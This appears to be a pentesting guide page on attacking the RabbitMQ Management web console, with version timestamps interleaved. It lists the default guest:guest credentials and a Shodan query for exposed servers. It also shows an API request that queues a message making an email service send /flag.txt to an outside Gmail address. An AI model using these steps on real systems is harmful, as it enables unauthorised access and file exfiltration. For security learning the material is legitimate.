2020-07-15 15:43:14 +00:00
# 15672 - Pentesting RabbitMQ Management
## Basic Information
2021-10-18 11:21:18 +00:00
You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP** ](5671-5672-pentesting-amqp.md ).\
In this port you may find the RabbitMQ Management web console if the [management plugin ](https://www.rabbitmq.com/management.html ) is enabled.\
2020-07-15 15:43:14 +00:00
The main page should looks like this:
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 270 ) . png > )
2020-07-15 15:43:14 +00:00
## Enumeration
The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login** ](../brute-force.md#http-post-form ).
2021-11-30 16:46:07 +00:00
To manually start this module you need to execute: 
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
Once you have correctly authenticated you will see the admin console:
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 271 ) . png > )
2020-07-15 15:43:14 +00:00
Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections`
2021-11-30 16:46:07 +00:00
Note also that it's possible to **publish data inside a queue** using the API of this service with a request like:
2020-07-15 15:43:14 +00:00
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
### Shodan
* `port:15672 http`